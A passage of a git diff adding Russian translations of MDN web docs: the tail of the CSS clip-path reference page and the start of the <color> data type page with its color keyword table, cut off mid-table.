+  padding: .5em;
+  background-color: #FFF;
+  overflow: hidden;
+  text-align: center;
+  flex: 1;
+}
+
+.note {
+  background: #fff3d4;
+  padding: 1em;
+  margin: .5em .5em 0;
+  font: .8em sans-serif;
+  text-align: left;
+  white-space: nowrap;
+}
+
+.note + .row .cell {
+  margin-top: 0;
+}
+
+.container {
+  display: inline-block;
+  border: 1px dotted grey;
+  position:relative;
+}
+
+.container:before {
+  content: 'margin';
+  position: absolute;
+  top: 2px;
+  left: 2px;
+  font: italic .6em sans-serif;
+}
+
+.viewbox {
+  box-shadow: 1rem 1rem 0 #EFEFEF inset, -1rem -1rem 0 #EFEFEF inset;
+}
+
+.container.viewbox:after {
+  content: 'viewbox';
+  position: absolute;
+  left: 1.1rem;
+  top: 1.1rem;
+  font: italic .6em sans-serif;
+}
+
+.cell span {
+  display: block;
+  margin-bottom: .5em;
+}
+
+p {
+  font-family: sans-serif;
+  background: #000;
+  color: pink;
+  margin: 2em;
+  padding: 3em 1em;
+  border: 1em solid pink;
+  width: 6em;
+}
+
+.none { clip-path: none; }
+.svg  { clip-path: url(#myPath); }
+.shape1 { clip-path: circle(25%); }
+.shape2 { clip-path: circle(25% at 25% 25%); }
+.shape3 { clip-path: fill-box    circle(25% at 25% 25%); }
+.shape4 { clip-path: stroke-box  circle(25% at 25% 25%); }
+.shape5 { clip-path: view-box    circle(25% at 25% 25%); }
+.shape6 { clip-path: margin-box  circle(25% at 25% 25%); }
+.shape7 { clip-path: border-box  circle(25% at 25% 25%); }
+.shape8 { clip-path: padding-box circle(25% at 25% 25%); }
+.shape9 { clip-path: content-box circle(25% at 25% 25%); }
+
+.defs {
+  width: 0;
+  height: 0;
+  margin: 0;
+}
+
+pre { margin-bottom: 0; }
+
+svg {
+  margin: 1em;
+  font-family: sans-serif;
+  width: 192px;
+  height: 192px;
+}
+
+svg rect {
+  stroke: pink;
+  stroke-width: 16px;
+}
+
+svg text {
+  fill: pink;
+  text-anchor: middle;
+}
+
+svg text.em {
+  font-style: italic;
+}</pre>
+</div>
+
+<p>{{EmbedLiveSample("clip-path", "100%", 800, "", "", "example-outcome-frame")}}</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<p>Свойство <code>clip-path</code> определяется как одно или комбинация значений перечисленных ниже.</p>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>url()</code></dt>
+ <dd>Представляет URL ссылку на траекторию, ограничивающую элемент.</dd>
+ <dt><code>inset()</code>, <code>circle()</code>, <code>ellipse()</code>, <code>polygon()</code></dt>
+ <dd>Функция {{cssxref("&lt;basic-shape&gt;")}}. Размер и положение области определяется значением <code>&lt;geometry-box&gt;</code>. Если геометрия не определена,<code>border-box</code> будет использоваться в качестве блока.</dd>
+ <dt><code>&lt;geometry-box&gt;</code></dt>
+ <dd>Если определен в комбинации с <code>&lt;basic-shape&gt;</code>, это значение определяет блок для базовой области. Если задан самостоятельно, определяет границы блока, включая формирование углов (такое как {{cssxref("border-radius")}}). Геометрия может быть определена с помощью одного из следующих значений:
+ <dl>
+  <dt><code>fill-box</code></dt>
+  <dd>Использует границы объекта в качестве базовой области.</dd>
+  <dt><code>stroke-box</code></dt>
+  <dd>Использует stroke bounding box в качестве базовой области.</dd>
+  <dt><code>view-box</code></dt>
+  <dd>Использует ближайший SVG viewport в качестве базового блока. Если отриут {{SVGAttr("viewBox")}} определен для элемента, создающего SVG viewport, базовый блок позиционируется в оригинальной системе координат, установленной атрибутом <code>viewBox</code> и ширина и высота базового блока устанавливаются равными значениям атрибута <code>viewBox</code>.​​​​​​​</dd>
+  <dt><code>margin-box</code></dt>
+  <dd>Использует <a href="CSS_Box_Model/Introduction_to_the_CSS_box_model">margin box</a> в качестве базового блока.</dd>
+  <dt><code>border-box</code></dt>
+  <dd>Использует <a href="CSS_Box_Model/Introduction_to_the_CSS_box_model">border box</a> в качестве базового блока.</dd>
+  <dt><code>padding-box</code></dt>
+  <dd>Использует <a href="CSS_Box_Model/Introduction_to_the_CSS_box_model">padding box</a> в качестве базового блока.</dd>
+  <dt><code>content-box</code></dt>
+  <dd>Использует <a href="CSS_Box_Model/Introduction_to_the_CSS_box_model">content box</a> в качестве базового блока.</dd>
+ </dl>
+ </dd>
+ <dt><code>none</code></dt>
+ <dd>Обрезанная область не создается.</dd>
+</dl>
+
+<h3 id="Формальный_синтаксис.">Формальный синтаксис.</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush:css">/* Inline SVG  */
+.target {
+  clip-path: url(#c1);
+}
+
+/* External SVG */
+.anothertarget {
+  clip-path: url(resources.svg#c1);
+}
+
+/* Circle shape */
+.circleClass {
+  clip-path: circle(15px at 20px 20px);
+}</pre>
+
+<h2 id="Живой_пример">Живой пример</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;img id="clipped" src="https://mdn.mozillademos.org/files/12668/MDN.svg"
+    alt="MDN logo"&gt;
+&lt;svg height="0" width="0"&gt;
+  &lt;defs&gt;
+    &lt;clipPath id="cross"&gt;
+      &lt;rect y="110" x="137" width="90" height="90"/&gt;
+      &lt;rect x="0" y="110" width="90" height="90"/&gt;
+      &lt;rect x="137" y="0" width="90" height="90"/&gt;
+      &lt;rect x="0" y="0" width="90" height="90"/&gt;
+    &lt;/clipPath&gt;
+  &lt;/defs&gt;
+&lt;/svg&gt;
+
+&lt;select id="clipPath"&gt;
+  &lt;option value="none"&gt;none&lt;/option&gt;
+  &lt;option value="circle(100px at 110px 100px)"&gt;circle&lt;/option&gt;
+  &lt;option value="url(#cross)" selected&gt;cross&lt;/option&gt;
+  &lt;option value="inset(20px round 20px)"&gt;inset&lt;/option&gt;
+&lt;/select&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">#clipped {
+  margin-bottom: 20px;
+  clip-path: url(#cross);
+}
+</pre>
+
+<div class="hidden">
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">var clipPathSelect = document.getElementById("clipPath");
+clipPathSelect.addEventListener("change", function (evt) {
+  document.getElementById("clipped").style.clipPath = evt.target.value;
+});
+</pre>
+</div>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{EmbedLiveSample("Live_sample", 230, 250)}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Masks", "#the-clip-path", 'clip-path')}}</td>
+   <td>{{Spec2('CSS Masks')}}</td>
+   <td>Extends its application to HTML elements.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'masking.html#ClipPathProperty', 'clip-path')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Initial definition (applies to SVG elements only).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость">Совместимость</h2>
+
+
+
+<p>{{Compat("css.properties.clip-path")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/SVG/Attribute/clip-rule">clip-rule</a>, {{cssxref("mask")}}, {{cssxref("filter")}}</li>
+ <li><a href="https://hacks.mozilla.org/2017/06/css-shapes-clipping-and-masking/">CSS Shapes, clipping and masking – and how to use them</a></li>
+ <li><a href="/en-US/docs/Applying_SVG_effects_to_HTML_content">Applying SVG effects to HTML content</a></li>
+ <li>{{SVGAttr("clip-path")}} SVG attribute</li>
+</ul>
diff --git a/files/ru/web/css/color_value/index.html b/files/ru/web/css/color_value/index.html
new file mode 100644
index 0000000000..f40f69bcd3
--- /dev/null
+++ b/files/ru/web/css/color_value/index.html
@@ -0,0 +1,1520 @@
+---
+title: <color>
+slug: Web/CSS/color_value
+translation_of: Web/CSS/color_value
+---
+<div>{{CSSRef}}</div>
+
+<p>Тип <strong><code>&lt;color&gt;</code></strong> <a href="/en-US/docs/Web/CSS">CSS</a> <a href="/en-US/docs/Web/CSS/CSS_Types">data type</a> предоставляет цвет в цветовом спектре <a class="external" href="https://en.wikipedia.org/wiki/SRGB">sRGB</a>. В  <code>&lt;color&gt;</code> может включать значения прозрачности Альфа-канала (<a class="external" href="https://en.wikipedia.org/wiki/Alpha_compositing">alpha-channel</a>), уыказывающие, как цвет <a href="https://www.w3.org/TR/2003/REC-SVG11-20030114/masking.html#SimpleAlphaBlending">сочетается</a> с его фоном.</p>
+
+<p>В <code>&lt;color&gt;</code> может быть определена любым из следующих способов can.</p>
+
+<ul>
+ <li>Использование или подключенного свойства веденного в параметр (например, <code>blue</code> или <code>transparent</code>)</li>
+ <li>Использование <a href="https://en.wikipedia.org/wiki/RGB_color_model#Geometric_representation">кубической системы координат RGB</a> (via the #-hexadecimal or the <code>rgb()</code> and <code>rgba()</code> functional notations)<img alt="Цветовая модель представлена виде куба" src="https://en.wikipedia.org/wiki/RGB_color_model#/media/File:RGB_color_solid_cube.png" style="height: 200px; width: 200px;"></li>
+ <li>Использование <a href="https://en.wikipedia.org/wiki/HSL_and_HSV">цилиндрической системы координат HSL</a> (через фунциональные обозначения <code>hsl()</code> и <code>hsla()</code>) </li>
+</ul>
+
+<div class="note">
+<p><strong>Заметка: </strong>В этой статье подробно описывается тип данных &lt;color&gt;. Дополнительные сведения об использовании цвета в HTML см. В разделе применение цвета к <a href="/en-US/docs/Web/HTML/Applying_color">элементам HTML с пмощью CSS</a>.</p>
+</div>
+
+<h2 id="Cинтаксис">Cинтаксис </h2>
+
+<p>Для типа данных задается <code>&lt;color&gt;</code>  с помощью одного из следующих параметров.</p>
+
+<div class="note">
+<p><strong>Заметка:</strong> значения <code>&lt;color&gt;</code> точно определены, их фактический внешний вид может отличаться (иногда значительно) от устройства к устроству. Это связоно с тем что большенство устройст не откалеброваны, а некторые браузеры не поддерживают цветовые профили <a href="https://en.wikipedia.org/wiki/ICC_profile">устройств вывода</a>.</p>
+</div>
+
+<h3 id="Ключевые_цвета">Ключевые цвета</h3>
+
+<p>Ключевые слова для цвета - это идентификаторы без учета регистра, представляющие определенный цвет, например <code>red</code>, <code>blue</code>, <code>black</code> или <code>lightseagreen</code>. Хотя названия более или менее описывают их соответствующие цвета, они по существу искусственны, без строгого обоснования используемых имен. </p>
+
+<p>Есть несколько предостережений, которые следует учитывать при использовании ключевых слов цвета:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTML">HTML</a> распознает только 16 основных цветовых ключевых слов, найденных в CSS1, используя определенный алгоритм для преобразования нераспознанных значений (часто в совершенно разные цвета). Другие ключевые слова цвета должны использоваться только в CSS и <a href="/en-US/docs/Web/SVG">SVG</a>.</li>
+ <li>В отличие от HTML, CSS будет полностью игнорировать неизвестные ключевые слова.</li>
+ <li>Ключевые слова цвета все представляют собой простые, сплошные цвета, без прозрачности.</li>
+ <li>Несколько ключевых слов являются псевдонимами друг для друга:
+  <ul>
+   <li><code>aqua</code> / <code>cyan</code></li>
+   <li><code>fuchsia</code> / <code>magenta</code></li>
+   <li><code>darkgray</code> / <code>darkgrey</code></li>
+   <li><code>darkslategray</code> / <code>darkslategrey</code></li>
+   <li><code>dimgray</code> / <code>dimgrey</code></li>
+   <li><code>lightgray</code> / <code>lightgrey</code></li>
+   <li><code>lightslategray</code> / <code>lightslategrey</code></li>
+   <li><code>gray</code> / <code>grey</code></li>
+   <li><code>slategray</code> / <code>slategrey</code></li>
+  </ul>
+ </li>
+ <li>Хотя многие ключевые слова были адаптированы из <a href="https://en.wikipedia.org/wiki/X_Window_System">X11</a>, их значения RGB могут отличаться от соответствующего цвета в системах X11, поскольку производители иногда адаптируют цвета X11 к своему конкретному оборудованию.</li>
+</ul>
+
+<div class="note">
+<p><strong>Заметка:</strong> Список принятых ключевых слов претерпел много изменений в ходе эволюции CSS:</p>
+
+<ul>
+ <li>CSS Level 1 включал только 16 основных цветов, называемых цветами <a href="https://en.wikipedia.org/wiki/VGA">VGA</a>, поскольку они были взяты из набора отображаемых цветов на видеокартах VGA</li>
+ <li>CSS Level 2 добавил ключевое слово <code>orange</code>.</li>
+ <li>Хотя различные цвета не в спецификации (в основном адаптированные из списка цветов X11) поддерживались ранними браузерами, они не были формально определены до уровня SVG 1.0 и CSS Colors 3. Они называются расширенными цветовыми <em>ключевыми</em> словами, <em>цветами X11</em> или цветами SVG.</li>
+ <li>CSS Colors Level 4 добавил ключевое слово rebeccapurple, <a href="https://codepen.io/trezy/post/honoring-a-great-man">чтобы почтить пионера веб-Эрика Мейера.</a></li>
+</ul>
+</div>
+
+<table id="colors_table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Эквивалент RGB</th>
+   <th scope="col">Ключевое слово</th>
+   <th scope="col">RGB hex значение</th>
+   <th scope="col">Видео сайта</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr style="position: relative;">
+   <td rowspan="16">{{SpecName("CSS1")}}</td>
+   <td style="background: #000;"></td>
+   <td style="text-align: center;"><code>black</code></td>
+   <td><code>#000000</code></td>
+   <td style="background: black;"></td>
+  </tr>
+  <tr>
+   <td style="background: #C0C0C0;"></td>
+   <td style="text-align: center;"><code>silver</code></td>
+   <td><code>#c0c0c0</code></td>
+   <td style="background: silver;"></td>
+  </tr>
+  <tr>
+   <td style="background: #808080;"></td>
+   <td style="text-align: center;"><code>gray</code></td>
+   <td><code>#808080</code></td>
+   <td style="background: gray;"></td>
+  </tr>
+  <tr>
+   <td style="background: #FFF;"></td>
+   <td style="text-align: center;"><code>white</code></td>
+   <td><code>#ffffff</code></td>
+   <td style="background: white;"></td>
+  </tr>
+  <tr>
+   <td style="background: #800000;"></td>
+   <td style="text-align: center;"><code>maroon</code></td>
+   <td><code>#800000</code></td>
+   <td style="background: maroon;"></td>
+  </tr>
+  <tr>
+   <td style="background: #F00;"></td>
+   <td style="text-align: center;"><code>red</code></td>
+   <td><code>#ff0000</code></td>
+   <td style="background: red;"></td>
+  </tr>
+  <tr>
+   <td style="background: #800080;"></td>
+   <td style="text-align: center;"><code>purple</code></td>
+   <td><code>#800080</code></td>
+   <td style="background: purple;"></td>
+  </tr>
+  <tr>
+   <td style="background: #F0F;"></td>
+   <td style="text-align: center;"><code>fuchsia</code></td>
+   <td><code>#ff00ff</code></td>
+   <td style="background: fuchsia;"></td>
+  </tr>
+  <tr>
+   <td style="background: #008000;"></td>
+   <td style="text-align: center;"><code>green</code></td>
+   <td><code>#008000</code></td>
+   <td style="background: green;"></td>
+  </tr>
+  <tr>
+   <td style="background: #0F0;"></td>
+   <td style="text-align: center;"><code>lime</code></td>
+   <td><code>#00ff00</code></td>
+   <td style="background: lime;"></td>
+  </tr>
+  <tr>
+   <td style="background: #808000;"></td>
+   <td style="text-align: center;"><code>olive</code></td>
+   <td><code>#808000</code></td>
+   <td style="background: olive;"></td>
+  </tr>
+  <tr>
+   <td style="background: #FF0;"></td>
+   <td style="text-align: center;"><code>yellow</code></td>
+   <td><code>#ffff00</code></td>
+   <td style="background: yellow;"></td>
+  </tr>
+  <tr>
+   <td style="background: #000080;"></td>
+   <td style="text-align: center;"><code>navy</code></td>
+   <td><code>#000080</code></td>
+   <td style="background: navy;"></td>
+  </tr>
+  <tr>
+   <td style="background: #00F;"></td>
+   <td style="text-align: center;"><code>blue</code></td>
+   <td><code>#0000ff</code></td>
+   <td style="background: blue;"></td>
+  </tr>
+  <tr>
+   <td style="background: #008080;"></td>
+   <td style="text-align: center;"><code>teal</code></td>
+   <td><code>#008080</code></td>
+   <td style="background: teal;"></td>
+  </tr>
+  <tr>
+   <td style="background: #0FF;"></td>
+   <td style="text-align: center;"><code>aqua</code></td>
+   <td><code>#00ffff</code></td>
+   <td style="background: aqua;"></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS2.1")}}</td>
+   <td style="background: #FFA500;"></td>
+   <td style="text-align: center;"><code>orange</code></td>
+   <td><code>#ffa500</code></td>
+   <td style="background: orange;"></td>
+  </tr>
+  <tr>
+   <td rowspan="130">{{SpecName("CSS3 Colors")}}</td>
+   <td style="background: #f0f8ff;"></td>
+   <td style="text-align: center;"><code>aliceblue</code></td>
+   <td><code>#f0f8ff</code></td>
+   <td style="background: aliceblue;"></td>
+  </tr>
+  <tr>
+   <td style="background: #faebd7;"></td>
+   <td style="text-align: center;"><code>antiquewhite</code></td>
+   <td><code>#faebd7</code></td>
+   <td style="background: antiquewhite;"></td>
+  </tr>
+  <tr>
+   <td style="background: #7fffd4;"></td>
+   <td style="text-align: center;"><code>aquamarine</code></td>
+   <td><code>#7fffd4</code></td>
+   <td style="background: aquamarine;"></td>
+  </tr>
+  <tr>
+   <td style="background: #f0ffff;"></td>
+   <td style="text-align: center;"><code>azure</code></td>
+   <td><code>#f0ffff</code></td>
+   <td style="background: azure;"></td>
+  </tr>
+  <tr>
+   <td style="background: #f5f5dc;"></td>
+   <td style="text-align: center;"><code>beige</code></td>
+   <td><code>#f5f5dc</code></td>
+   <td style="background: beige;"></td>
+  </tr>
+  <tr>
+   <td style="background: #ffe4c4;"></td>
+   <td style="text-align: center;"><code>bisque</code></td>
+   <td><code>#ffe4c4</code></td>
+   <td style="background: bisque;"></td>
+  </tr>
+  <tr>
+   <td style="background: #ffebcd;"></td>
+   <td style="text-align: center;"><code>blanchedalmond</code></td>
+   <td><code>#ffebcd</code></td>
+   <td style="background: blanchedalmond;"></td>
+  </tr>
+  <tr>
+   <td style="background: #8a2be2;"></td>
+   <td style="text-align: center;"><code>blueviolet</code></td>
+   <td><code>#8a2be2</code></td>
+   <td style="background: blueviolet;"></td>
+  </tr>
+  <tr>
+   <td style="background: #a52a2a;"></td>
+   <td style="text-align: center;"><code>brown</code></td>
+   <td><code>#a52a2a</code></td>
+   <td style="background: brown;"></td>
+  </tr>
+  <tr>
+   <td style="background: #deb887;"></td>
+   <td style="text-align: center;"><code>burlywood</code></td>
+   <td><code>#deb887</code></td>
+   <td style="background: burlywood;"></td>
+  </tr>
+  <tr>
+   <td style="background: #5f9ea0;"></td>
+   <td style="text-align: center;"><code>cadetblue</code></td>
+   <td><code>#5f9ea0</code></td>
+   <td style="background: cadetblue;"></td>
+  </tr>
+  <tr>
+   <td style="background: #7fff00;"></td>
+   <td style="text-align: center;"><code>chartreuse</code></td>
+   <td><code>#7fff00</code></td>
+   <td style="background: chartreuse;"></td>
+  </tr>
+  <tr>
+   <td style="background: #d2691e;"></td>
+   <td style="text-align: center;"><code>chocolate</code></td>
+   <td><code>#d2691e</code></td>
+   <td style="background: chocolate;"></td>
+  </tr>
+  <tr>
+   <td style="background: #ff7f50;"></td>
+   <td style="text-align: center;"><code>coral</code></td>
+   <td><code>#ff7f50</code></td>
+   <td style="background: coral;"></td>
+  </tr>
+  <tr>
+   <td style="background: #6495ed;"></td>
+   <td style="text-align: center;"><code>cornflowerblue</code></td>
+   <td><code>#6495ed</code></td>
+   <td style="background: cornflowerblue;"></td>
+  </tr>
+  <tr>
+   <td style="background: #fff8dc;"></td>
+   <td style="text-align: center;"><code>cornsilk</code></td>
+   <td><code>#fff8dc</code></td>
+   <td style="background: cornsilk;"></td>
+  </tr>
+  <tr>
+   <td style="background: #dc143c;"></td>
+   <td style="text-align: center;"><code>crimson</code></td>
+   <td><code>#dc143c</code></td>
+   <td style="background: crimson;"></td>
+  </tr>
+  <tr>
+   <td style="background: #0ff;"></td>
+   <td style="text-align: center;"><code>cyan</code><br>
+    (synonym of <code>aqua</code>)</td>
+   <td><code>#00ffff</code></td>
+   <td style="background: cyan;"></td>
+  </tr>
+  <tr>
+   <td style="background: #00008b;"></td>
+   <td style="text-align: center;"><code>darkblue</code></td>
+   <td><code>#00008b</code></td>
+   <td style="background: darkblue;"></td>
+  </tr>
+  <tr>
+   <td style="background: #008b8b;"></td>
+   <td style="text-align: center;"><code>darkcyan</code></td>
+   <td><code>#008b8b</code></td>
+   <td style="background: darkcyan;"></td>
+  </tr>
+  <tr>
+   <td style="background: #b8860b;"></td>
+   <td style="text-align: center;"><code>darkgoldenrod</code></td>
+   <td><code>#b8860b</code></td>
+   <td style="background: darkgoldenrod;"></td>
+  </tr>
+  <tr>
+   <td style="background: #a9a9a9;"></td>
+   <td style="text-align: center;"><code>darkgray</code></td>
+   <td><code>#a9a9a9</code></td>
+   <td style="background: darkgray;"></td>
+  </tr>
+  <tr>
+   <td style="background: #006400;"></td>
+   <td style="text-align: center;"><code>darkgreen</code></td>
+   <td><code>#006400</code></td>
+   <td style="background: darkgreen;"></td>
+  </tr>
+  <tr>
+   <td style="background: #a9a9a9;"></td>
+   <td style="text-align: center;"><code>darkgrey</code></td>
+   <td><code>#a9a9a9</code></td>
+   <td style="background: darkgrey;"></td>
+  </tr>
+  <tr>
+   <td style="background: #bdb76b;"></td>
+   <td style="text-align: center;"><code>darkkhaki</code></td>
+   <td><code>#bdb76b</code></td>
+   <td style="background: darkkhaki;"></td>
+  </tr>
+  <tr>
+   <td style="background: #8b008b;"></td>
+   <td style="text-align: center;"><code>darkmagenta</code></td>
+   <td><code>#8b008b</code></td>
+   <td style="background: darkmagenta;"></td>
+  </tr>
+  <tr>
+   <td style="background: #556b2f;"></td>
+   <td style="text-align: center;"><code>darkolivegreen</code></td>
+   <td><code>#556b2f</code></td>
+   <td style="background: darkolivegreen;"></td>
+  </tr>
+  <tr>
+   <td style="background: #ff8c00;"></td>
+   <td style="text-align: center;"><code>darkorange</code></td>
+   <td><code>#ff8c00</code></td>
+   <td style="background: darkorange;"></td>
+  </tr>
+  <tr>
+   <td style="background: #9932cc;"></td>
+   <td style="text-align: center;"><code>darkorchid</code></td>
+   <td><code>#9932cc</code></td>
+   <td style="background: darkorchid;"></td>
+  </tr>
+  <tr>
+   <td style="background: #8b0000;"></td>
+   <td style="text-align: center;"><code>darkred</code></td>
+   <td><code>#8b0000</code></td>
+   <td style="background: darkred;"></td>
+  </tr>
+  <tr>
+   <td style="background: #e9967a;"></td>
+   <td style="text-align: center;"><code>darksalmon</code></td>
+   <td><code>#e9967a</code></td>
+   <td style="background: darksalmon;"></td>
+  </tr>
+  <tr>
+   <td style="background: #8fbc8f;"></td>
+   <td style="text-align: center;"><code>darkseagreen</code></td>
+   <td><code>#8fbc8f</code></td>
+   <td style="background: darkseagreen;"></td>
+  </tr>
+  <tr>
+   <td style="background: #483d8b;"></td>
+   <td style="text-align: center;"><code>darkslateblue</code></td>
+   <td><code>#483d8b</code></td>
+   <td style="background: darkslateblue;"></td>
+  </tr>
+  <tr>
+   <td style="background: #2f4f4f;"></td>
+   <td style="text-align: center;"><code>darkslategray</code></td>
+   <td><code>#2f4f4f</code></td>
+   <td style="background: darkslategray;"></td>
+  </tr>
+  <tr>
+   <td style="background: #2f4f4f;"></td>
+   <td style="text-align: center;"><code>darkslategrey</code></td>
+   <td><code>#2f4f4f</code></td>
+   <td style="background: darkslategrey;"></td>
+  </tr>
+  <tr>
+   <td style="background: #00ced1;"></td>
+   <td style="text-align: center;"><code>darkturquoise</code></td>
+   <td><code>#00ced1</code></td>
+   <td style="background: darkturquoise;"></td>
+  </tr>
+  <tr>
+   <td style="background: #9400d3;"></td>
+   <td style="text-align: center;"><code>darkviolet</code></td>
+   <td><code>#9400d3</code></td>
+   <td style="background: darkviolet;"></td>
+  </tr>
+  <tr>
+   <td style="background: #ff1493;"></td>
+   <td style="text-align: center;"><code>deeppink</code></td>
+   <td><code>#ff1493</code></td>
+   <td style="background: deeppink;"></td>
+  </tr>
+  <tr>
+   <td style="background: #00bfff;"></td>
+   <td style="text-align: center;"><code>deepskyblue</code></td>
+   <td><code>#00bfff</code></td>
+   <td style="background: deepskyblue;"></td>
+  </tr>
+  <tr>
+   <td style="background: #696969;"></td>
+   <td style="text-align: center;"><code>dimgray</code></td>
+   <td><code>#696969</code></td>
+   <td style="background: dimgray;"></td>
+  </tr>
+  <tr>
+   <td style="background: #696969;"></td>
+   <td style="text-align: center;"><code>dimgrey</code></td>
+   <td><code>#696969</code></td>
+   <td style="background: dimgrey;"></td>
+  </tr>
+  <tr>
+   <td style="background: #1e90ff;"></td>
+   <td style="text-align: center;"><code>dodgerblue</code></td>
+   <td><code>#1e90ff</code></td>
+   <td style="background: dodgerblue;"></td>
+  </tr>
+  <tr>
+   <td style="background: #b22222;"></td>
+   <td style="text-align: center;"><code>firebrick</code></td>
+   <td><code>#b22222</code></td>
+   <td style="background: firebrick;"></td>
+  </tr>
+  <tr>
+   <td style="background: #fffaf0;"></td>
+   <td style="text-align: center;"><code>floralwhite</code></td>
+   <td><code>#fffaf0</code></td>
+   <td style="background: floralwhite;"></td>
+  </tr>
+  <tr>
+   <td style="background: #228b22;"></td>
+   <td style="text-align: center;"><code>forestgreen</code></td>
+   <td><code>#228b22</code></td>
+   <td style="background: forestgreen;"></td>
+  </tr>
+  <tr>
+   <td style="background: #dcdcdc;"></td>
+   <td style="text-align: center;"><code>gainsboro</code></td>
+   <td><code>#dcdcdc</code></td>
+   <td style="background: gainsboro;"></td>
+  </tr>
+  <tr>
+   <td style="background: #f8f8ff;"></td>
+   <td style="text-align: center;"><code>ghostwhite</code></td>
+   <td><code>#f8f8ff</code></td>
+   <td style="background: ghostwhite;"></td>
+  </tr>
+  <tr>
+   <td style="background: #ffd700;"></td>
+   <td style="text-align: center;"><code>gold</code></td>
+   <td><code>#ffd700</code></td>
+   <td style="background: gold;"></td>
+  </tr>
+  <tr>
+   <td style="background: #daa520;"></td>
+   <td style="text-align: center;"><code>goldenrod</code></td>
+   <td><code>#daa520</code></td>
+   <td style="background: goldenrod;"></td>
+  </tr>
+  <tr>
+   <td style="background: #adff2f;"></td>
+   <td style="text-align: center;"><code>greenyellow</code></td>
+   <td><code>#adff2f</code></td>
+   <td style="background: greenyellow ;"></td>
+  </tr>
+  <tr>
+   <td style="background: #808080;"></td>
+   <td style="text-align: center;"><code>grey</code></td>
+   <td><code>#808080</code></td>
+   <td style="background: grey;"></td>
+  </tr>
+  <tr>
+   <td style="background: #f0fff0;"></td>
+   <td style="text-align: center;"><code>honeydew</code></td>
+   <td><code>#f0fff0</code></td>
+   <td style="background: honeydew;"></td>
+  </tr>
+  <tr>
+   <td style="background: #ff69b4;"></td>
+   <td style="text-align: center;"><code>hotpink</code></td>
+   <td><code>#ff69b4</code></td>
+   <td style="background: hotpink;"></td>
+  </tr>
+  <tr>
+   <td style="background: #cd5c5c;"></td>
+   <td style="text-align: center;"><code>indianred</code></td>
+   <td><code>#cd5c5c</code></td>
+   <td style="background: indianred;"></td>
+  </tr>
+  <tr>
+   <td style="background: #4b0082;"></td>
+   <td style="text-align: center;"><code>indigo</code></td>
+   <td><code>#4b0082</code></td>
+   <td style="background: indigo;"></td>
+  </tr>
+  <tr>
+   <td style="background: #fffff0;"></td>
+   <td style="text-align: center;"><code>ivory</code></td>
+   <td><code>#fffff0</code></td>
+   <td style="background: ivory;"></td>
+  </tr>
+  <tr>
+   <td style="background: #f0e68c;"></td>
+   <td style="text-align: center;"><code>khaki</code></td>
+   <td><code>#f0e68c</code></td>
+   <td style="background: khaki;"></td>
+  </tr>
+  <tr>
+   <td style="background: #e6e6fa;"></td>
+   <td style="text-align: center;"><code>lavender</code></td>
+   <td><code>#e6e6fa</code></td>
+   <td style="background: lavender;"></td>
+  </tr>
+  <tr>
+   <td style="background: #fff0f5;"></td>
+   <td style="text-align: center;"><code>lavenderblush</code></td>
+   <td><code>#fff0f5</code></td>
+   <td style="background: lavenderblush ;"></td>
+  </tr>
+  <tr>
+   <td style="background: #7cfc00;"></td>
+   <td style="text-align: center;"><code>lawngreen</code></td>
+   <td><code>#7cfc00</code></td>
+   <td style="background: lawngreen;"></td>
+  </tr>
+  <tr>
+   <td style="background: #fffacd;"></td>
+   <td style="text-align: center;"><code>lemonchiffon</code></td>
+   <td><code>#fffacd</code></td>
+   <td style="background: lemonchiffon;"></td>
+  </tr>
+  <tr>
+   <td style="background: #add8e6;"></td>
+   <td style="text-align: center;"><code>lightblue</code></td>
+   <td><code>#add8e6</code></td>
+   <td style="background: lightblue;"></td>
+  </tr>
+  <tr>
+   <td style="background: #f08080;"></td>
+   <td style="text-align: center;"><code>lightcoral</code></td>
+   <td><code>#f08080</code></td>
+   <td style="background: lightcoral;"></td>
+  </tr>
+  <tr>
+   <td style="background: #e0ffff;"></td>
+   <td style="text-align: center;"><code>lightcyan</code></td>
+   <td><code>#e0ffff</code></td>
+   <td style="background: lightcyan;"></td>
+  </tr>
+  <tr>
+   <td style="background: #fafad2;"></td>
+   <td style="text-align: center;"><code>lightgoldenrodyellow</code></td>
+   <td><code>#fafad2</code></td>
+   <td style="background: lightgoldenrodyellow ;"></td>
+  </tr>
+  <tr>
+   <td style="background: #d3d3d3;"></td>
+   <td style="text-align: center;"><code>lightgray</code></td>
+   <td><code>#d3d3d3</code></td>
+   <td style="background: lightgray;"></td>
+  </tr>
+  <tr>
+   <td style="background: #90ee90;"></td>
+   <td style="text-align: center;"><code>lightgreen</code></td>
+   <td><code>#90ee90</code></td>
+   <td style="background: lightgreen;"></td>
+  </tr>
+  <tr>
+   <td style="background: #d3d3d3;"></td>
+   <td style="text-align: center;"><code>lightgrey</code></td>
+   <td><code>#d3d3d3</code></td>
+   <td style="background: lightgrey;"></td>
+  </tr>
+  <tr>
+   <td style="background: #ffb6c1;"></td>
+   <td style="text-align: center;"><code>lightpink</code></td>
+   <td><code>#ffb6c1</code></td>
+   <td style="background: lightpink;"></td>
+  </tr>
+  <tr>
+   <td style="background: #ffa07a;"></td>
+   <td style="text-align: center;"><code>lightsalmon</code></td>
+   <td><code>#ffa07a</code></td>
